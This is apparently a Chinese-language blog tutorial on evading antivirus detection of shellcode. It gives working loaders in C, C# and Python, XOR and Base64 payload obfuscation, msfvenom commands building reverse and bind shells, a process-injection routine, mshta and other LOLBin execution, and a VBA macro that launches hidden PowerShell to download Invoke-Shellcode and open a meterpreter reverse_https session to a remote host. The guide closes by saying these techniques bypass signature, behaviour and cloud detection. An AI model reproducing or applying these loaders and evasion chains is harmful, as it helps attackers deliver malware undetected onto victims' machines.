那些shellcode免杀总结
字数 1046 2025-08-24 16:48:07
Shellcode免杀技术全面指南
一、Shellcode免杀概述
Shellcode免杀技术主要分为两大类:分离和混淆。这两种方法针对不同的检测机制,包括特征检测、行为检测和云查杀。
二、分离免杀技术
1. 加载器与Shellcode分离
传统Shellcode加载方式容易被检测,分离思想是将执行Shellcode和加载程序分开。
常见C/C++加载方式
- 函数指针执行
- 内联汇编指令
- 伪指令
远程获取Shellcode示例
#include "stdafx.h"
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main() {
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
BOOL bResults = FALSE;
hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession) {
hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
}
// ... [省略部分代码]
char *ShellCode = (char *)calloc(code_length/2, sizeof(unsigned char));
for (size_t count = 0; count < code_length/2; count++) {
sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
pszOutBuffer += 2;
}
void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
}
2. 加载器实现方式
常见加载器类型
- C#加载器:使用VirtualAlloc、CreateThread等API
- Python加载器:使用ctypes调用Windows API
- Go加载器:内联C调用
- 资源加载:如CPLResourceRunner
- 内存映射文件(MMF):使用MemoryMappedFile类
C#加载器示例
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess {
class Program {
static void Main(string[] args) {
byte[] shellcode = new byte[333] { /* shellcode */ };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
// ... [省略API声明]
}
}
3. LOLBins白利用技术
LOLBins(Living-Off-the-Land Binaries)利用系统自带白名单程序执行恶意代码。
常见白利用技术
- mshta:通过HTA文件执行
- msiexec:安装恶意MSI包
- msbuild:执行内联任务
- installutil:.NET安装工具
- wmic:使用XSL脚本
- csc:C#编译器
mshta示例
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin
cat shellcode.bin | base64 -w 0
mshta.exe http://192.168.174.134/qing.hta
三、混淆免杀技术
1. Shellcode编码混淆
常见编码方式
- XOR异或加密
- Base64编码
- 十六进制编码
- AES加密
C# XOR加密示例
private static byte[] xor(byte[] cipher, byte[] key) {
byte[] decrypted = new byte[cipher.Length];
for(int i = 0; i < cipher.Length; i++) {
decrypted[i] = (byte)(cipher[i] ^ key[i % key.Length]);
}
return decrypted;
}
static void Main() {
byte[] encryptedShellcode = new byte[] { /* 加密后的shellcode */ };
string key = "qing";
byte[] shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
// ... [执行shellcode]
}
Python Base64示例
import ctypes
import sys
import base64
shellcode = bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# ... [执行shellcode]
2. MSFVenom编码器
msfvenom -l encoder # 查看可用编码器
msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe LHOST=1.1.1.1 LPORT=4444 -a x86 --platform win -f exe -o a.exe
msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe LHOST=1.1.1.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > b.exe
3. Shellcode注入技术
常见注入方式
- BDF(Backdoor Factory):利用程序裂缝注入
- Shellter:动态注入工具
- AVET:反病毒规避工具
- 进程注入:创建挂起进程后注入
进程注入示例
BOOL injection() {
wchar_t Cappname[MAX_PATH] = {0};
STARTUPINFO si;
PROCESS_INFORMATION pi;
// ... [初始化]
if(CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0) {
return bRet;
}
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode)+1, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, sizeof(shellcode)+1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
// ... [等待执行]
}
四、组合技术应用
将多种技术组合使用可以达到更好的免杀效果。
示例:Powershell+Excel+VBA宏
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
进程注入+Powershell
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
五、关键点总结
- 分离思想:将Shellcode与加载器分离,减少静态特征
- 多样化加载:使用不同语言实现加载器增加检测难度
- 白名单利用:利用系统自带程序规避行为检测
- 编码混淆:破坏Shellcode静态特征
- 注入技术:隐藏恶意代码执行过程
- 组合使用:多种技术结合实现更好的免杀效果
通过合理组合这些技术,可以有效绕过杀毒软件的特征检测、行为检测和云查杀机制。